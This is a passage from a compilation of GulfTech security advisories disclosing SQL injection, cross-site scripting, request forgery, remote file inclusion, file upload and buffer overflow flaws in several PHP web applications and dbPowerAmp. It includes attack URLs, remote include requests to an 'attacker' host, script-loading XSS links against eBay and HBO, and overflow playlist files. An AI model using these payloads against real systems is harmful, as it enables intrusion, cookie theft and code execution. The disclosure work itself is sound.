$addrs[] = $_SERVER['REMOTE_ADDR'];
$addrs[] = $HTTP_PROXY_USER;
$addrs[] = $REMOTE_ADDR;
So, basically if the X_FORWARDED_FOR header entry is present it ignores everything else? Seems to be the case. Not a good idea at all. This vulnerabilty makes the IP logging feature of IPB totally useless. Also, IP's are used in the sessions, as one of the ways to uniquely identiofy a user. For example, if you take your admin session ID (adsess) and then use it from a different IP than the one the session was created with you get an error message that the IP is not yours etc etc. So, as you can see this issue could probably cause alot more problems than meets the eye.
Solution:
Until there is an official fix I just commented out the foreach loop shown in the previous code snippet. It's not a pretty solution but works for now.
Credits:
James Bercegay of the GulfTech Security Research Team.
phpBugTracke Multiple Vulnerabilities
Vendor: Benjamin Curtis
Product: phpBugTracke
Version: <= 0.9.1
Website: http://phpbt.sourceforge.net
BID: 10153
OSVDB: 5383 5384 5385 5386 5387
SECUNIA: 11416
Description:
phpBugTracker is meant to be a replacement for Bugzilla (one day). It's not quite there yet, but we're working on it. This project grew out of the frustrations I experienced in installing and using bugzilla. Those frustrations inspired my design goals: Simplicity in use and installation, Use templates to achieve presentation independence, Use a database abstraction layer to achieve database independence So this project will hopefully become a portable and powerful web-based bug tracking system.
SQL Injection Vulnerabilities:
phpBugTracker is prone to SQL Injection in several files. Some are not so dangerous, and others I would consider a pretty high risk. Lets look at the user.php for example to start off with.
$db->query("delete from ".TBL_BUG_VOTE." where user_id = $u and bug_id = $bug_id");
As we can see from that line of code taken from about line 30 of user.php it is clear that the $bug_id variable is passed into the query with no type of validation at all. Next lets have us a look at the bugs.php file. Around line 27 we will see the start of the vote_view() function. It too is vulnerable to SQL Injection attacks.
///
/// View the votes for a bug
function vote_view($bug_id) {
global $u, $db, $t, $STRING;
$t->assign('votes', $db->getAll('select login, v.created_date '.
'from '.TBL_AUTH_USER.' u, '.TBL_BUG_VOTE." v ".
"where u.user_id = v.user_id and bug_id = $bug_id ".
'order by v.created_date'));
$t->wrap('bugvotes.html', 'bugvotes');
}
This same type of SQL Injection vulnerability also resides in the vote_bug() function in bugs.php. It is the same thing really, the $bug_id variable is passed to the query unchecked. Now for query.php which has many problems with not validating input. Even more so than the previously mentioned files. First we see a problem in the delete_saved_query() function. Around line 27. Once again there is no input validation at all. Look at the $queryid variable.
function delete_saved_query($queryid) {
global $db, $u, $me, $_gv;
$db->query("delete from ".TBL_SAVED_QUERY." where user_id = $u
and saved_query_id = $queryid");
if (!empty($_gv['form']) and $_gv['form'] == 'advanced') {
header("Location: $me?op=query&form=advanced");
} else {
header("Location: $me?op=query");
}
}
There are also other SQL Injection issues in the query.php file. Namely with search queries, and the way they are sorted, or rather the sort method and the order are called from the GET parameters with no validation. Examples below
query.php?page=2&order=severity.sort_order&sort=[SQL]
query.php?page=2&order=[SQL]
query.php?page=[SQL]
query.php?op=delquery&queryid=[SQL]&form=simple
query.php?projects=[SQL]&op=doquery
bug.php?op=vote&bugid=[SQL]
bug.php?op=viewvotes&bugid=[SQL]
user.php?op=delvote&bugid=[SQL]
Cross Site Scripting:
There are a number of XSS (Cross Site Scripting) issues in phpBugTracker. And a good number of them result from the way phpBugTracker handles the output of error messages. For example, lets say an attacker is not knowledgeable in SQL, but he is still up to no good. he can easily use the previously mentioned SQL vulns, cause an error, and inject script or the like into the url thus causing whatever actions he likes to be taken. Below are some example requests.
bug.php?op=show&bugid=[XSS]
query.php?page=2&order=severity.sort_order&sort=[XSS]
query.php?page=2&order=[XSS]
query.php?page=[XSS]
query.php?op=delquery&queryid=[XSS]&form=simple
query.php?projects=[XSS]&op=doquery
bug.php?op=vote&bugid=[XSS]
bug.php?op=viewvotes&bugid=[XSS]
bug.php?op=add&project=[XSS]
user.php?op=delvote&bugid=[XSS]
Script Injection Vulnerabilities:
There is a problem with input not being validated when a user adds a bug to the phpBugTracker database. An attacker can use this problem to inject code into the fields when adding a bug, and then that code will be ran in the browser of anyone who views the particular bug.
Solution:
frog-m@n from phpsecure.info was kind enough to supply a fix for these issues :) The fix can be downloaded from the following link.
http://www.phpsecure.info/v2/.php?zone=pDl&id=169
The developers of phpBugTracker were contacted weeks ago and are believed to be in the process of supplying a fix for these issues.
Credits:
James Bercegay of the GulfTech Security Research Team.
OpenBB Multiple Vulnerabilities
Vendor: OpenBB Group
Product: OpenBB
Version: <= 1.0.6
Website: http://www.openbb.com/
BID: 10214
CVE: CVE-2004-1965
OSVDB: 5649 5650 5651 5652
SECUNIA: 11481
PACKETSTORM: 33180
Description:
OpenBB is a fast, lightweight, powerful bulletin board written in PHP/MySQL. Main features include: full customization via styles templates, instant messaging, private messaging, categories, member ranks, poll based threads, moderation, BB codes, thread notifications, Avatars, member lists, private forums and more.
Cross Site Scripting Vulnerabilities:
OpenBB is prone to Cross Site Scripting in multiple files. This may allow an attacker to run code in the context of a users browser, or used to harvest sensitive information from a user such as cookie information. Below are some examples of the XSS issues in OpenBB.
/member.php?action=login&redirect=[XSS]
/myhome.php?action=newmsg&to=blah[XSS]
/post.php?action=mail&TID=1[XSS]
/index.php?redirect=[XSS]
SQL Injection Vulnerabilities:
It may be possible for an attacker to execute arbitrary SQL queries due to user supplied input not being properly sanitized. Lets have a look at some code from one of the affected files .. post.php
// Check to make sure they are not posting to a category
$query_type = new query($SQL, "SELECT type FROM ".$prefix."forum_display
WHERE forumid = $FID");
$query_type->getrow();
$ftype = $query_type->field('type');
As we can see from this code, the $FID variable seems to get passed directly to the query without being validated, thus allowing for an attacker to execute malicious queries. This is not the only vulnerable file though. Below are a list of similarly vulnerable files.
/board.php?FID=1[SQL]
/member.php?action=list&page=1&sortorder=[SQL]
/member.php?action=list&page=1&sortorder=username&perpage=[SQL]
/member.php?action=passwdsend&resetid=blah&id=2[SQL]
/search.php?&sortby=dateline&sort=DESC&q=open&forums%5B[SQL]%5D
/post.php?action=edit&page=1&PID=1[SQL]
/post.php?action=post&FID=1[SQL]
These files are prone to similar attacks because they allow input that has not been validated to be executed in the query. This can be used for example to pull users password hashes.
Arbitrary Command Execution:
This is really in my opinion at least, a very fundamental flaw. As stated in the HTTP/1.1 RFC (RFC 2616 Section 9.1.1 "Safe Methods") no GET request should be used to make any significant actions. This however would not be such a big deal if there was some sort of auth key or session id in place to verify the validity of actions, but there isn't. In short all an attacker has to do is send an admin a pm, or make a malicious post with the desired command and the action will silently execute. For example below are some example administrative actions that an attacker could include in an image tag or malicious link.
/cp_forums.php?do=remove&id=1
/cp_usergroup.php?do=remove&UGID=1
/cp_ipbans.php?action=do_delip&ipid=1
This kind of attack can also be used to run user and moderator commands as seen below. These are only examples, not all the possibilities.
/myhome.php?action=delmsg&box=inbox&id=all
/post.php?action=edit&PID=1&send=1&delete=yes
/moderator.php?action=announce&TID=1
OpenBB actually tries to prevent these kind of attacks by filtering out certain input as seen in /lib/codeparse.php but this does not work. Lets have a look at the code.
case 'img':
if(!preg_match('#^(http|https)://(.*?)\.(gif|jpg|jpeg|png)$#', $inside) )
$return = '[ invalid image ]';
else
$return = '<img src="' .str_replace('"', '', $inside). '" alt="User-Posted
Image (tm)" border="0" />';
break;
All an attacker has to do in order to have the command executed successfully is make sure the url within the image tag ends with an allowed extension. This is not very safe at all because we can make up a variable, add a good extension and the code is still ran. For example
/post.php?action=edit&PID=1&send=1&delete=yesI=blah.jpg
As we can see from the above examples, this issue can be used by a malicious person to all but completely sabotage a site running OpenBB. In the past I have seen phpBB for example deal with the same issue of using unsafe GET requests by limiting the bbcode to only allow images with a valid extension. However this is a bad idea because it does not solve the problem at all, and to this day all phpBB versions are vulnerable to having arbitrary posts deleted and more just by visiting a malicious web page or link. It is a serious issue and should be treated as such. It greatly impacts the security of a web application. Even using the POST method without an auth key or the like is a bad idea in my opinion.
Solution:
Vendors were contacted many weeks ago and plan to release a fixed version soon. Check the OpenBB website for updates and official release details.
Credits:
James Bercegay of the GulfTech Security Research Team.
PHP-Calendar Arbitrary File Inclusion
Vendor: Sean Proctor
Product: PHP-Calendar
Version: <= 0.10.1
Website: http://php-calendar.sourceforge.net/
BID: 12127
CVE: CVE-2004-1423
OSVDB: 12700 12701
SECUNIA: 22516
PACKETSTORM: 35563
Description:
I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ]
File Include Vulnerability:
There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's
http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php
If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations.
Solution:
php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php
if ( !defined('IN_PHPC') ) {
die("Hacking attempt");
}
Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory.
Credits:
James Bercegay of the GulfTech Security Research Team
WHM.AutoPilot Multiple Vulnerabilities
Vendor: Benchmark Designs, LLC
Product: WHM.AutoPilot
Version: <= 2.4.6.5
Website: http://www.whmautopilot.com/
BID: 12119
CVE: CVE-2004-1420 CVE-2004-1421 CVE-2004-1422
OSVDB: 12693 12694 12695 12696 12697
SECUNIA: 13673
PACKETSTORM: 35559
Description:
Started by a webhost looking for more out of a simple managment script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, WHM AutoPilot was born. [ as quoted from their official website ]
Cross Site Scripting:
There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples I am showing below.
http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E
http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E
I believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code.
File Include Vulnerability:
WHM AutoPilot is susceptible to several potentially very dangerous file include vulns. Below are several examples of how files can be included and possibly executed remotely.
http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php
http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php
http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php
This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous. Now for something weird: See the first example I gave above? Notice the "header.php/step_one.php"? Well, that was done to get around a piece of code that looked something like this. I am not going to include the actual code since this is proprietary software, but this should definitely give you the idea of what happened.
if (ereg("test.php", $PHP_SELF)==true)
{
include $server_inc."/step_one_tables.php";
}
This works because $PHP_SELF will return the value of "header.php/step_ one.php" expectedly. The below excerpt was taken from the php manual.
"PHP_SELF
The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file."
I see a lot of developers use this variable without giving much though to how it can be taken advantage of. I have even found it can cause be used to conduct cross site scripting attacks when the phpinfo() function is called.
Information Disclosure:
By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php"
Solution:
I have contacted the developers, and a new version of WHM Autopilot is available.
Credits:
James Bercegay of the GulfTech Security Research Team
LiveWorld Cross Site Scripting
Vendor: LiveWorld, Inc
Product: LiveWorld
Version: Multiple Products
Website: http://www.liveworld.com
CVE: CVE-2004-2566
OSVDB: 9180
PACKETSTORM: 34143
Description:
LiveWorld provides collaborative services for online meetings, customer care, and loyalty marketing. Supporting communication between a company and its customers, employees, or partners and among those people themselves - our services help corpor- ations cut costs, increase revenue, and solidify relationships with groups critical to their success. LiveWorld products are used on major websites such as HBO, and eBay
Cross Site Scripting:
GulfTech Security Research have discovered Cross Site Scripting issues that are believed to be present in multiple LiveWorld Inc products such as LiveForum, LiveQ&A, LiveChat and LiveFocusGroup. It is also a good possibility that this issue exists in other LiveWorld products as they "seem" to share some of the same code. If you believe this to be incorrect, or have proof of it being 100% accurate then please let us know. These issues could allow for an attacker to run code in the context of a victims browser or temporarily deface a website that is running any of the affected applications.
Proof of Concept:
I have done my best to contact LiveWorld, and eBay. As of the time I am writing this, the holes are not patched, and these examples work. However this may not be the case when this write up becomes public. Please note that these URI's are wrapped for the sake of readability.
http://answercenter.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
%3E%3C%21--%3C%21--
http://groups.ebay.com/findclub!execute.jspa?q=%22%3E%3Cscript+s
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
cript%3E%3C%21--%3C%21--
http://forums.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D%22htt
p%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript%3E
http://boards.hbo.com/search!execute.jspa?q=%22%3E%3Cscript+src%
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
pt%3E%3C%21--%3C%21--
These examples simply print the GulfTech name to the browser, but this could just as easily be a spoofed form, or a malicious script.
Solution:
LiveWorld Inc were contacted about these issues, but have not yet responded. Hopefully they will see this report and fix the issues :) Any future fix will likely be posted on their website.
Credits:
James Bercegay of the GulfTech Security Research Team.
dbPowerAmp Buffer Overflow
Vendor: Illustrate
Product: dbPowerAmp
Version: <= 2.0/10.0
Website: http://www.dbpoweramp.com
BID: 11266
CVE: CVE-2004-1569
OSVDB: 10380 11126 11127
SECUNIA: 12684
PACKETSTORM: 34531
Description:
Often called the Swiss Army knife of audio, dMC can digitally rip sound from audio CDs to a multitude of formats. Convert from one format to another while preserving ID tags. Nearly every audio type is supported, including MP3, MP4, Windows Media Audio (WMA), OGG Vorbis, AAC, Monkey's Audio, and FLAC (with optional installs from Codec Central). For Windows Explorer integration, right-click Convert To to pop up useful information on audio files (such as bit rate and length). Record from LPs with an optional Auxiliary Input install. dBpowerAmp Audio Player (dAP) has a digital conditioning equalizer and an advanced music collection. It's skinnable and has a cross-fader, a playlist editor, and a tag editor. dAP plays MP3s, WMA, Ogg Vorbis, Monkeys Audio, Real Audio, WAV, MIDI, and many more.
Arbitrary Code Execution:
Both the very popular dbPowerAmp Music Converter application, as well as the dbPowerAmp Player are prone to buffer overflow conditions. These issues affect current and earlier versions of the dbPowerAmp Player and Music Converter. In my research I have only tested the vulnerabilities with .pls and .m3u playlists, but I think the same issues are probably present with other file types as well as other dbPowerAmp applications. The Music Converter application allocates a 215 byte buffer for the file name within the playlist. By opening a playlist like the one below will overflow this buffer and overwrite EIP with \x42\x42\x42\x42
[playlist]
NumberOfEntries=1
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB
Title1=GulfTech dbPowerAmp Music Converter POC
Length1=-1
The same issue applies to the player and playlist editor, however the buffer length with those applications (both are included with the player, not the converter) is not 215 bytes, but 265 bytes. So in short
MusicConverter.exe 215 bytes To EIP
playlist.exe 265 bytes to EIP
amp.exe 265 bytes to EIP
I believe these buffer overflow vulnerabilities to be the result of an unsafe strncmp() but I could be wrong ;) The same buffer overflow condition can also present itself when loading .mcc files which are the dbPowerAmp Music Collection files. There is also a pretty bad Denial Of Service condition that can happen with dbPowerAmp Music Converter that I will talk about next.
Denial Of Service:
dbPowerAmp Music Converter has an option to integrate into the Windows shell. As a longtime dbPowerAmp Music Converter user I do find this feature very helpful, but it can also allow for an attacker to crash the Windows shell by sending them a malformed playlist. They do not have to open the playlist or anything, just mouseover it. I tested this issue on Windows XP SP1 Fully Patched. To see this issue in action just use the following example playlist and mouse over it.
[playlist]
NumberOfEntries=1
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Title1=GulfTech dbPowerAmp Music Converter Crash POC
Length1=-1
The large filename entry in the playlist will overwrite EDI with junk and then cause an access violation. This will then cause explorer to crash.
Note:
Remember, the examples above are wrapped for readability. If you want to use them to test if you are vulnerable then you should remove all of the newlines in the file name.
Solution:
The developer said that they would address these issues, but do not consider them high priority. Hmm, code execution via a malformed file is definitely not low priority in my book.
Proof Of Concept:
Working exploit code may be released soon, but not at the moment due to time constraints.
Credits:
James Bercegay of the GulfTech Security Research Team
PsychoStats Cross Site Scripting
Vendor: Jason Morriss
Product: PsychoStats
Version: <= 2.2.4 Beta
Website: http://www.psychostats.com/
BID: 12089
CVE: CVE-2004-1417
OSVDB: 12560
SECUNIA: 13619
PACKETSTORM: 35502
Description:
PsychoStats is a statistics generator for games. Currently there is support for a handful of Half-Life "MODs" including Counter-Strike, Day of Defeat, and Natural Selection. PsychoStats gathers statistics from the log files that game servers create by reading through the logs and then calculating detailed statistics for players, maps, weapons and clans. These detailed statistics are stored in a MySQL database which are then viewed online from your website using a set of PHP web pages. There are some complaints out there in the community that do not like the fact that PsychoStats does not provide 'real time' game statistics. The fact is, providing 'real time', accurate and detailed statistics is a hard issue to overcome. Some game statistic generators out there that provide 'real time' statistics simply do not have the same amount of detailed information that PsychoStats has. And they usually only provide very basic 'kill' statistics. Ignoring detailed 'map' and 'clan' statistics. PsychoStats may not be real time, but it works very close to it. As data is stored in a mysql database old logs that were scanned previously do not need to be scanned again, which makes for much faster updates then the old v1.x of PsychoStats. And the data provided by PsychoStats is very detailed.
Cross Site Scripting:
Cross site scripting exists in Jason Morriss PsychoStats. This vulnerability exists due to user supplied input not being checked properly. Below is an example.
http://www.example.com/stats/login.php?login=%22%3E%3Ciframe%3E
This vulnerability could be used to steal cookie based authentication credentials within the scope of the current domain, or render hostile code in a victim's browser.
Solution:
The vendor was contacted, responded very promptly and said he will be addressing the issue soon and has released an updated version of the software.
http://www.psychostats.com/forums/viewtopic.php?t=11022
You can find directions on how to install the patch at the link listed above. Users should upgrade as soon as they can.
Credits:
James Bercegay of the GulfTech Security Research Team
ReviewPost Multiple Vulnerabilities
Vendor: All Enthusiast, Inc.
Product: ReviewPost
Version: <= 2.84
Website: http://www.reviewpost.com/
BID: 12159
CVE: CVE-2005-0270 CVE-2005-0271 CVE-2005-0272
OSVDB: 12703 12704 12705 12706 12707 12708
SECUNIA: 13697
PACKETSTORM: 35594
Description:
Your community of users represents a wealth of knowledge. Now your users can help build and maintain your site by writing reviews of any product imaginable. With ReviewPost, you will quickly amass a valuable collection of user opinions about products that relate to your site. ReviewPost can even use your existing forum login system (if you have one) to keep your users from having to register twice, and makes an excellent companion to ReviewPost. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries.
Cross Site Scripting:
ReviewPost is prone to cross site scripting in several different scripts throughout the application.
http://path/showcat.php?si=[XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT][XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT]&page=[INT][XSS]
http://path/reportproduct.php?report=[INT][XSS]
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
SQL Injection Vulnerability:
There are a couple of SQL Injection vulnerabilities in ReviewPost. Some are easy to exploit, others are not so easy. Examples are below:
http://path/showcat.php?cat=[INT][SQL]
http://path/addfav.php?product=[INT][SQL]&do=add
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
Arbitrary File Upload:
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the Review that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when posting a review (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing a review, just not when creating a new Review.
Solution:
ReviewPost 2.84 has been released to address these issues. Users should upgrade their installation as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team
PhotoPost Classifieds Multiple Vulnerabilities
Vendor: All Enthusiast, Inc.
Product: PhotoPost Classifieds
Version: <= 2.01
Website: http://www.photopost.com/class/
BID: 12156
OSVDB: 12728 12729 12730 12731 12732 12733 12734 12735 12736 12737
SECUNIA: 13699
Description:
Add a full-featured user-to-user classified ads system to your website to connect buyers with sellers. No matter what your users interestes may be, they likely want to buy and sell items related to your site's topic, and PhotoPost Classifieds makes it easy. PhotoPost Classifieds is designed to integrate seamlessly into your current site design, and can even use your existing forum user database (if you have one) for one central login. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries.
Cross Site Scripting:
PhotoPost Classifieds is prone to cross site scripting in several different scripts throughout the application. Below are examples:
http://path/showcat.php?si=[XSS]
http://path/reportproduct.php?report=[XSS]
http://path/contact.php?contact=[INT]&productid=[INT][XSS]
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
SQL Injection Vulnerability:
There are a substantial number of SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy.
http://path/showproduct.php?product=[INT][SQL]
http://path/contact.php?contact=[INT]&productid=[INT][SQL]
http://path/addfav.php?product=[INT][SQL]&do=add
http://path/showproduct.php?product=[INT]&sort=[INT][SQL]&cat=[INT]
http://path/showcat.php?cat=[INT][SQL]
http://path/index.php?cat=[INT][SQL]
http://path/comments.php?product=[INT]&cedit=[INT][SQL]
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
Arbitrary File Upload:
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the classified ad that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when placing an ad (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing an ad, just not when creating a new classified ad.
Solution:
PhotoPost Classifieds 2.02 has been released to resolve these issues. All users should upgrade their PhotoPost Classifieds immediately.
Credits:
James Bercegay of the GulfTech Security Research Team
IP.Board Multiple Vulnerabilities
Vendor: Invision Power Services
Product: IP.Board
Version: <= 2.0.3
Website: http://www.invisionboard.com/
BID: 13529 13534
CVE: CVE-2005-1597 CVE-2005-1598
OSVDB: 16297 16298
SECUNIA: 15265
PACKETSTORM: 39098
Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind. It is used by a great many people all over the world. All versions of Invision Power Board are vulnerable to a serious SQL Injection vulnerability. An attacker does not have to be logged in, or even have access or permission to view the forums in order to exploit this vulnerability. Users should upgrade immediately.
Cross Site Scripting:
It is possible for an attacker to conduct Cross Site Scripting attacks in all versions of invision power board prior to the recently released 2.0.4. This vulnerability exists due to data submitted to the "highlite" parameter not being sanatized properly when displaying search results. The same issue also exists in "sources/topics.php". The only condition is that the data sent to the "highlite" parameter must be double hex encoded data in order to bypass the global sanatation methods.
SQL Injection:
I have discovered a serious SQL Injection issue in Invision Power Board that affects most all versions of Invision Power Board regardless of most server configurations. Also, because of the fact that UNION functionality is not needed an attacker need not worry if the victim is running an up to date version of MySQL. The vulnerability lies in the way that Invision Board handles certain types of "login methods". Let us have a look at the source of 'sources/login.php'
if ( ! $ibforums->member['id'] )
{
$mid = intval($std->my_getcookie('member_id'));
$pid = $std->my_getcookie('pass_hash');
If ($mid and $pid)
{
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");
if ( $member = $DB->fetch_row() )
{
$ibforums->member = $member;
$ibforums->session_id = "";
$std->my_setcookie('session_id','0', -1 );
}
}
}
This particular portion of code is from the IPB 1.* series, but the vulnerability seems to exists on all versions of IPB (both the 1.* and 2.* series). Anyway, as we can see from the above code the variable $mid is properly forced into an integer datatype and as a result is safe to pass to the query, but what about $pid? In the above code we see that the value of $pid is returned from the my_getcookie() function within the FUNC class. Well, let us have a look at this function to see if $pid is sanatized within the function itself.
function my_getcookie($name)
{
global $ibforums;
if (isset($_COOKIE[$ibforums->vars['cookie_id'].$name]))
{
return urldecode($_COOKIE[$ibforums->vars['cookie_id'].$name]);
}
else
{
return FALSE;
}
}
In the above code we can see that not only is the data unsanatized, but the way the urldecode() function is used also lets an attacker bypass magic_quotes_gpc. Now, back to the auto_login() function where we want to concentrate on this bit of code.
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");
if ( $member = $DB->fetch_row() )
{
$ibforums->member = $member;
$ibforums->session_id = "";
$std->my_setcookie('session_id','0', -1 );
}
This would be a very easy issue to exploit if visible data was returned to the browser, but all we will be able to see is a line in the response header that looks something like this.
Set-Cookie: session_id=0; path=/; domain=example.com
If we see this then we know the query returned true and produced some results. This is not that easy of an issue to exploit, but there are a number of ways to successfully take advantage of this issue. For one an attacker can select member data into an outfile and use thier browser to retrieve that data, or use the MySQL "mid" function to enumerate each character of the hash one by one until the entire hash is discovered! In future versions of MySQL issues like this will be a lot easier to exploit as we will then be able to "SELECT * FROM `blah` INTO TABLE `foobar`" much like Oracle database for example. With functionality like that an attacker can then do things like dump user data into a message to himself. There is working exploit code for this issue available, but we will not be releasing it publicly. Users should upgrade as soon as possible, as this is a fairly dangerous vulnerability.
Solution:
Matthew Mecham addressed these issues in a VERY timely and professional manner and fixes have been available for some time now.
http://forums.invisionpower.com/index.php?showtopic=168016
All users should upgrade thier Invision Power Board installations as soon as possible, as these vulnerabilities make it fairly easy to grab sensitive user data including password hashes from the database.
Credits:
James Bercegay of the GulfTech Security Research Team
PhotoPost Multiple Vulnerabilities
Vendor: All Enthusiast, Inc.
Product: PhotoPost
Version: <= 4.85
Website: http://www.photopost.com/
BID: 12157
CVE: CVE-2005-0273 CVE-2005-0274
OSVDB: 12741 12741
SECUNIA: 13680
PACKETSTORM: 35595
Description:
PhotoPost was designed to help you give your users exactly what they want. Your users will be thrilled to finally be able to upload and display their photos for your entire community to view and discuss, all with no more effort than it takes to post a text message to a forum. If you already have a forum (vBulletin, UBB Threads, phpBB, DCForum, or InvisionBoard), you'll appreciate that PhotoPost was designed to seamlessly integrate into your site without the need for your users to register twice and maintain two logins. PhotoPost Pro is vulnerable to some serious SQL Injection issues as well as cross site scripting. An update is available and all users should upgrade now.
Cross Site Scripting:
PhotoPost is prone to cross site scripting in several different scripts throughout the application. Below are examples:
http://path/showgallery.php?cat=[INT]&page=[XSS]
http://path/showgallery.php?si=[XSS]
http://path/showgallery.php?cat=[INT][XSS]
http://path/showgallery.php?ppuser=[INT]&cat=[INT][XSS]
This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info.
SQL Injection Vulnerability:
There are several SQL Injection vulnerabilities in this application. Some are easy to exploit, others are not so easy.
http://path/showgallery.php?cat=[INT][SQL]
http://path/showgallery.php?ppuser=[INT][SQL]&cat=[INT]
These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful.
Solution:
